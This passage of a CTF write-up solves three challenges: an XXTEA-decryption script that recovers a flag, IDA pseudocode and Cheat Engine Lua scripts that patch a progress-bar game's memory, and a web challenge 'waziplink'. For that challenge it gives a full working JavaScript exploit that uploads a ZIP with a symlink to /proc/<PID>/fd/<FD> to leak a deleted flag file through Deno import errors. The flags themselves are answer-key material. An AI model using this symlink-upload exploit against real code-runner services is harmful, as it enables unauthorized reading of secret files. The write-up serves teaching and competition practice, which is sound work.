ttl = (ttl - delta) & 0xFFFFFFFF
for i in range(n, -1, -1):
after = m[(i + 1) % len(m)]
before = m[(i - 1) % len(m)]
m[i] = (m[i] - ((((before >> 5) ^ (after << 2)) + ((after >> 3) ^ (before << 4))) ^ ((ttl ^ after) + (k[(i & 3) ^ ((ttl >> 2) & 3)] ^ before)))) & 0xFFFFFFFF
return m
enc = [0x61, 0x80, 0x8a, 0x2d, 0x69, 0x52, 0x27, 0xdc, 0x78, 0x95, 0x85,
0x66, 0xee, 0x2a, 0xa5, 0x1e, 0xdf, 0xc4, 0x5e, 0xf8, 0x1a, 0x84,
0x4a, 0x0a, 0x11, 0xed, 0x9d, 0x97, 0x40, 0x67, 0x46, 0x61, 0xa1,
0x35, 0x0f, 0x4a, 0x84, 0xf5, 0xd8, 0x79, 0xfd, 0xc4, 0xa9, 0xb8]
key = [0x38, 0x38, 0x32, 0x30, 0x35, 0x39, 0x65, 0x32,
0x30, 0x34, 0x61, 0x64, 0x65, 0x66, 0x63, 0x35]
test = [0x38, 0x38, 0x32, 0x30, 0x35, 0x39, 0x65, 0x32,
0x30, 0x34, 0x61, 0x64, 0x65, 0x66, 0x63, 0x35, 0x10, 0x00, 0x00, 0x00]
dwordenc = bytes_to_dwords_little_endian(enc)
dwordkey = bytes_to_dwords_little_endian(key)
dwordtest = bytes_to_dwords_little_endian(test)
# 加解密测试
# dwordresult = XXTEA(dwordtest, len(dwordtest), dwordkey)
# result = dwords_to_bytes_little_endian(dwordresult)
# for i in range(len(result)):
# print(hex(result[i]),end=", ")
# print()
# dwordresult2 = de_XXTEA(dwordresult, len(dwordresult), dwordkey)
# result2 = dwords_to_bytes_little_endian(dwordresult2)
# for i in range(len(result2)):
# print(hex(result2[i]), end=", ")
# 解密flag
dwordflag = de_XXTEA(dwordenc, len(dwordenc), dwordkey)
flag = dwords_to_bytes_little_endian(dwordflag)
for i in range(len(flag)):
print(hex(flag[i]), end=", ")
运⾏脚本得到 flag:
flag{AnDr01d_r3v3rs3_jUcYuWzBSSOwKxbMD} |
Loading flag... | Week3 - Reverse
Note
发现是⼀个⾛得极慢的进度条 ,按下按钮也不可能合理时间内出结果 ,IDA 动态调试找到关键函数:
__m128i *__fastcall sub_7FF7FA0F86A0(__int64 a1)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
v99 = -2i64;
if ( *(_QWORD *)(a1 + 16) )
{
v77.m128i_i64[0] = a1;
v77.m128i_i64[1] = (__int64)sub_7FF7FA01F600;
v82.m128i_i64[0] = (__int64)&unk_7FF7FA7E6B40;
v82.m128i_i64[1] = 1i64;
v84.m256i_i64[0] = 0i64;
*(_QWORD *)&v83 = &v77;
*((_QWORD *)&v83 + 1) = 1i64;
sub_7FF7FA004110(&v88.m256i_u64[3], &v82);
v64 = 6i64;
v65 = v88;
v66 = v89;
}
else
{
v64 = 6i64;
v65.m256i_i64[3] = 0x8000000000000000ui64;
*(_QWORD *)&v66 = "Loading flag...Progress: "; //窗口显示
*((_QWORD *)&v66 + 1) = 15i64;
}
v67 = xmmword_7FF7FA71D190;
v68 = 2;
v69 = 2;
v70 = 0;
v71 = 0;
v72 = 0;
v2 = fmaxf(0.0, *(float *)(a1 + 40)); //当前进度,这里可以patch修改值(a1+40的偏移量)
*((_QWORD *)&v75 + 1) = 0x42C8000000000000i64;
LOBYTE(v76) = 0;
HIDWORD(v76) = fminf(100.0, v2); //限制在100以内
v74.m128i_i16[4] = 0;
LOWORD(v75) = 4;
v73.m128i_i64[0] = 0i64;
v77.m128i_i64[0] = a1 + 40;
v77.m128i_i64[1] = (__int64)sub_7FF7FA030BB0;
v82.m128i_i64[0] = 0i64;
v82.m128i_i64[1] = 31i64;
*(_QWORD *)&v83 = 2i64;
v84.m256i_i64[0] = 0i64;
v84.m256i_i64[1] = 32i64;
v84.m256i_i8[16] = 3;
v88.m256i_i64[0] = (__int64)&off_7FF7FA745008;
v88.m256i_i64[1] = 2i64;
*(_QWORD *)&v89 = &v82;
*((_QWORD *)&v89 + 1) = 1i64;
v88.m256i_i64[2] = (__int64)&v77;
v88.m256i_i64[3] = 1i64;
v95 = 1;
v94 = 1;
sub_7FF7FA004110(v59, &v88);
*((_QWORD *)&v83 + 1) = v59[0];
v48 = 6i64;
v49 = v82;
v50 = v83;
v51 = v59[1];
v52 = v59[2];
si128 = _mm_load_si128((const __m128i *)&xmmword_7FF7FA71D1B0);
v54 = 2;
v55 = 2;
v56 = 0;
v57 = 0;
v58 = 0;
v84.m256i_i64[0] = 0x8000000000000000ui64;
v84.m256i_i64[1] = (__int64)"Speed Up!"; //按钮文本
v84.m256i_i64[2] = 9i64;
v84.m256i_i32[6] = 0;
v85.m128i_i64[0] = 0x3FA6666600000000i64;
v85.m128i_i16[4] = 2;
v86.m128i_i16[0] = 2;
v87.m128i_i8[14] = 0;
v82.m128i_i64[0] = 6i64;
v87.m128i_i16[6] = 0;
v86.m128i_i32[2] = 0;
v3 = sub_7FF7FA28BF90(0i64, 112i64);
v93 = v3 == 0;
if ( !v3 )
sub_7FF7FA6FC240(8i64, 112i64);
*(__m128i *)(v3 + 64) = v85;
*(__m128i *)(v3 + 80) = v86;
*(__m128i *)(v3 + 96) = v87;
v4 = v82;
v5 = _mm_loadu_si128((const __m128i *)&v83);
v6 = *(_OWORD *)v84.m256i_i8;
*(_OWORD *)(v3 + 48) = *(_OWORD *)&v84.m256i_u64[2];
*(_OWORD *)(v3 + 32) = v6;
*(__m128i *)(v3 + 16) = v5;
*(__m128i *)v3 = v4;
v7 = *(_WORD *)(v3 + 72) >= 2u;
v8 = *(_WORD *)(v3 + 80) >= 2u;
*(_QWORD *)&v60 = 0i64;
WORD4(v61) = 2 * v7;
LOWORD(v62) = 2 * v8;
*((_QWORD *)&v62 + 1) = v3;
v63.m256i_i64[0] = (__int64)&off_7FF7FA744E30;
*(_OWORD *)&v63.m256i_u64[1] = xmmword_7FF7FA71D1C0;
v63.m256i_i64[3] = 0i64;
*(_OWORD *)&v88.m256i_u16[3] = 0i64;
v82.m128i_i64[0] = 0i64;
v82.m128i_i64[1] = 8i64;
*(_QWORD *)&v83 = 0i64;
WORD4(v83) = 2;
v84.m256i_i16[0] = 2;
*(_OWORD *)&v84.m256i_i16[1] = *(_OWORD *)v88.m256i_i8;
v84.m256i_i64[2] = 0i64;
v84.m256i_i64[3] = 0x7F80000041200000i64;
v85.m128i_i16[0] = 0;
v98 = 1;
v97 = 1;
v96 = 1;
sub_7FF7FA0EBB40(&v88, &v82, &v64);
v9 = sub_7FF7FA28BF90(0i64, 56i64);
if ( !v9 )
sub_7FF7FA6FC240(8i64, 56i64);
v10 = _mm_loadu_si128(&v73);
v11 = v75;
*(__m128i *)(v9 + 16) = _mm_loadu_si128(&v74);
*(_OWORD *)(v9 + 32) = v11;
*(_QWORD *)(v9 + 48) = v76;
*(__m128i *)v9 = v10;
v12 = *(_QWORD *)(v9 + 24);
v13 = *(unsigned __int16 *)(v9 + 32);
v14 = *(unsigned __int16 *)(v9 + 38);
v92 = v9;
v15 = v13 | ((unsigned __int64)*(unsigned int *)(v9 + 34) << 16) | (v14 << 48);
v16 = 0x41F0000000000003i64;
if ( v13 != 4 )
v16 = v15;
v17 = v12 >> 16;
if ( (unsigned __int16)v12 >= 2u || v88.m256i_i16[12] != 2 )
{
v17 = *(unsigned int *)((char *)&v88.m256i_u32[6] + 2) | ((unsigned __int64)v88.m256i_u16[15] << 32);
LOWORD(v12) = v88.m256i_i16[12];
}
v88.m256i_i8[24] = v12;
v88.m256i_i8[25] = BYTE1(v12);
v88.m256i_i8[26] = v17;
v88.m256i_i8[27] = BYTE1(v17);
v88.m256i_i8[28] = BYTE2(v17);
v88.m256i_i8[29] = BYTE3(v17);
v88.m256i_i8[30] = BYTE4(v17);
v88.m256i_i8[31] = BYTE5(v17);
v18 = v16 >> 16;
if ( (unsigned __int16)v16 >= 2u || (_WORD)v89 != 2 )
{
v18 = *(unsigned int *)((char *)&v89 + 2) | ((unsigned __int64)WORD3(v89) << 32);
LOWORD(v16) = v89;
}
*(_QWORD *)&v89 = (unsigned __int16)v16 | (v18 << 16);
v19 = v88.m256i_i64[2];
if ( v88.m256i_i64[2] == v88.m256i_i64[0] )
sub_7FF7FA32FCC0(&v88, &off_7FF7FA746D50);
v20 = v88.m256i_i64[1];
v21 = 16 * v19;
*(_QWORD *)(v88.m256i_i64[1] + v21) = v92;
*(_QWORD *)(v20 + v21 + 8) = &off_7FF7FA7448C8;
v22 = v19 + 1;
v88.m256i_i64[2] = v22;
v23 = _mm_loadu_si128(&v90);
v82 = _mm_loadu_si128((const __m128i *)&v88);
*(_OWORD *)v84.m256i_i8 = v89;
*(__m128i *)&v84.m256i_u64[2] = v23;
v85.m128i_i64[0] = v91;
v83 = __PAIR128__(v88.m256i_u64[3], v22);
v98 = 1;
v97 = 0;
v96 = 0;
sub_7FF7FA0EBB40(&v88, &v82, &v48);
v24 = sub_7FF7FA28BF90(0i64, 80i64);
if ( !v24 )
sub_7FF7FA6FC240(8i64, 80i64);
v25 = v60;
v26 = v61;
v27 = *(_OWORD *)v63.m256i_i8;
*(_OWORD *)(v24 + 32) = v62;
*(_OWORD *)(v24 + 16) = v26;
*(_OWORD *)(v24 + 64) = *(_OWORD *)&v63.m256i_u64[2];
*(_OWORD *)(v24 + 48) = v27;
*(_OWORD *)v24 = v25;
v92 = v24;
v28 = _mm_loadu_si128((const __m128i *)(v24 + 24));
v29 = v88.m256i_i16[12];
v30 = (unsigned __int64)v28.m128i_i64[0] >> 16;
v31 = _mm_cvtsi128_si32(v28);
if ( (unsigned __int16)v31 < 2u && v88.m256i_i16[12] == 2 )
v29 = v31;
else
v30 = *(unsigned int *)((char *)&v88.m256i_u32[6] + 2) | ((unsigned
__int64)v88.m256i_u16[15] << 32);
v88.m256i_i16[12] = v29;
v88.m256i_i8[26] = v30;
v88.m256i_i8[27] = BYTE1(v30);
v88.m256i_i8[28] = BYTE2(v30);
v88.m256i_i8[29] = BYTE3(v30);
v88.m256i_i8[30] = BYTE4(v30);
v88.m256i_i8[31] = BYTE5(v30);
v32 = v89;
epi16 = _mm_extract_epi16(v28, 4);
v34 = _mm_srli_si128(v28, 10).m128i_u64[0];
if ( epi16 < 2u && (_WORD)v89 == 2 )
v32 = epi16;
else
v34 = *(unsigned int *)((char *)&v89 + 2) | ((unsigned __int64)WORD3(v89) << 32);
*(_QWORD *)&v89 = v32 | (v34 << 16);
v35 = v88.m256i_i64[2];
if ( v88.m256i_i64[2] == v88.m256i_i64[0] )
sub_7FF7FA32FCC0(&v88, &off_7FF7FA746D50);
v36 = v88.m256i_i64[1];
v37 = 16 * v35;
*(_QWORD *)(v88.m256i_i64[1] + v37) = v92;
*(_QWORD *)(v36 + v37 + 8) = &off_7FF7FA744940;
v38 = v35 + 1;
v88.m256i_i64[2] = v38;
v39 = _mm_loadu_si128(&v90);
v77 = _mm_loadu_si128((const __m128i *)&v88);
v79 = v89;
v80 = v39;
v81 = v91;
v78 = __PAIR128__(v88.m256i_u64[3], v38);
v40 = sub_7FF7FA28BF90(0i64, 72i64);
if ( !v40 )
sub_7FF7FA6FC240(8i64, 72i64);
*(_QWORD *)(v40 + 64) = v81;
v41 = v77;
v42 = _mm_load_si128((const __m128i *)&v78);
v43 = v79;
*(__m128i *)(v40 + 48) = v80;
*(_OWORD *)(v40 + 32) = v43;
*(__m128i *)(v40 + 16) = v42;
*(__m128i *)v40 = v41;
v82.m128i_i64[0] = 0i64;
*((_QWORD *)&v83 + 1) = 0x8000000000000002ui64;
*(_OWORD *)&v84.m256i_u64[2] = 0i64;
v85.m128i_i64[0] = v40;
v85.m128i_i64[1] = (__int64)&off_7FF7FA744A38;
v86 = (__m128i)xmmword_7FF7FA71D1E0;
v87.m128i_i64[0] = 0x7F8000007F800000i64;
v87.m128i_i16[4] = 256;
v87.m128i_i8[10] = 1;
result = (__m128i *)sub_7FF7FA28BF90(0i64, 112i64);
if ( !result )
sub_7FF7FA6FC240(8i64, 112i64);
result[6] = v87;
result[5] = v86;
result[4] = v85;
v45 = v82;
v46 = (__m128i)v83;
v47 = *(__m128i *)v84.m256i_i8;
result[3] = *(__m128i *)&v84.m256i_u64[2];
result[2] = v47;
result[1] = v46;
*result = v45;
return result;
}
尝试修改 v2 为 0xFFFFFFFF 之后得到了 flag 的第⼀个字符 f ,但后续要求的进度越来越多 ,使⽤ cheat engine 进⾏内存操作 , 由于这⾥的地址是固定的 ,直接锁定地址进⾏修改 ,编写 cheat engine 的 lua 脚本:
local targetAddress = 0x256297C04C8
local desiredValue = 0xFFFFFFFF
local checkInterval = 50
function AutoLock()
while true do
local currentValue = readInteger(targetAddress)
if currentValue ~= desiredValue then
writeInteger(targetAddress, desiredValue)
end
sleep(checkInterval)
end
end
createThread(AutoLock)
发现进度条确实在⾛了 ,但是程序耍赖的是其第 n 个字符解锁需要⾛完 n3 个进度条 ,⽽进度条的判别只有 1 秒钟⼀次 ,动态观察内存发现其上游 8 个字节有⼀个 int 指向进度条的完成个数 ,直接修改这个字节:
local targetAddresses = {
{ addr = 0x256297C04C0, value = 0xFFFFFFFF},
{ addr = 0x256297C04C8, value = 0xFFFFFFFF }
}
function MultiModify()
for i, entry in ipairs(targetAddresses) do
local current = readInteger(entry.addr)
if current ~= entry.value then
writeInteger(entry.addr, entry.value)
print(string.format("[地址 0x%X] 修改完成: 0x%X -> 0x%X",
entry.addr, current, entry.value))
else
print(string.format("[地址 0x%X] 无需修改,当前值正确", entry.addr))
end
end
end
-- 同步执行方式(立即执行)
function SyncExecution()
MultiModify()
end
-- 异步线程方式(后台执行)
createThread(MultiModify)
-- 也可以直接调用同步版本
-- SyncExecution()
多次执⾏脚本得到完整的flag:
flag{b51c3a51a0f278a60b7d966cf8eb236e} |
waziplink | Week3 - Web
The given lines shows that the program would read the content of flag.txt and then delete it. On linux,however, the file descriptor is not actually closed until the program exits. So we can reach it by proc file system, known as /proc/<PID>/fd/<FD> .
The server will use Deno to run user's uploaded script(s). Though Deno prevent IO, Socket, and other dangerous operations by default, the import statement can still be used to load module from local or remote.
Take consideration of the following code:
import './flag.ts';
If flag.ts is not a valid TypeScript module, Deno will throw an error, which contains the line where the error occurred. This could be used to leak the content of flag.ts .
However, importing non-js or non-ts file will be rejected, and asynchronous importing will hit the permission guard.
To rename the file descriptor, we're going to upload a ZIP file with a symlink (flag.ts -> /proc/<PID>/fd/<FD>
), and an entry file which imports flag.ts . Therefore, the server is expected to extract (unzip) it and import the file descriptor. Just visit /status route to get the PID number of bun server, as it's given by /robots.txt .
Note
We cannot use /proc/self/fd/<FD> . The process which read flag.txt is the web server, while the code runner is a subprocess and it doesn't have the file descriptor of flag.txt .
node exp.js
Note that you have to install jszip dependency by your preferred package mananger.
# choose your package mananger
pnpm install jszip
yarn add jszip
npm install -S jszip
bun install jszip
A minimum exploit script is as follows:
#!/usr/bin/env -S bun run
// Install JSZip by `bun install jszip` or with other package mananger.
import JSZip from 'jszip';
// The target URL of the challenge, without trailing slash
const TARGET_URI = "http://175.27.249.18:30132"
// The regex to match the flag
const FLAG_REGEX = /flag{.+}/
function createSymlinkZipBlob(pid, fd) {
const zip = new JSZip();
zip.file('flag.ts', `/proc/${pid}/fd/${fd}`, {
unixPermissions: 0o755 | 0o120000, // symlink
})
zip.file('entry.ts', "import './flag.ts';\n")
return zip.generateAsync({ type: 'blob', platform: 'UNIX' })
}
// Collect information
console.log('Fetching status')
let json = await fetch(`${TARGET_URI}/status`).then(r => r.json())
const pid = json.pid
console.log(`[+] PID: ${pid}`)
// Leak
for (let fd = 10; fd <= 20; ++fd) {
// Create zip
console.log(`\nCreating zip -> /proc/${pid}/fd/${fd}`)
const formdata = new FormData()
const zipBlob = await createSymlinkZipBlob(pid, fd)
formdata.append('file', zipBlob, 'leak.zip')
formdata.append('entry', 'entry.ts');
// Upload
console.log('Uploading')
json = await fetch(`${TARGET_URI}/api/upload`, {
method: 'POST',
body: formdata
}).then(r => r.json())
const uuid = json.data.id
// Run Code
console.log(`Running code #${uuid}`)
json = await fetch(`${TARGET_URI}/api/run/${uuid}`, {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
}
}).then(r => r.json())
// Test if the flag is leaked
if (FLAG_REGEX.test(json.result.stderr)) {
const flag = json.result.stderr.match(FLAG_REGEX)[0]
console.log(`\n[+] Flag: ${flag}`)
break
}
}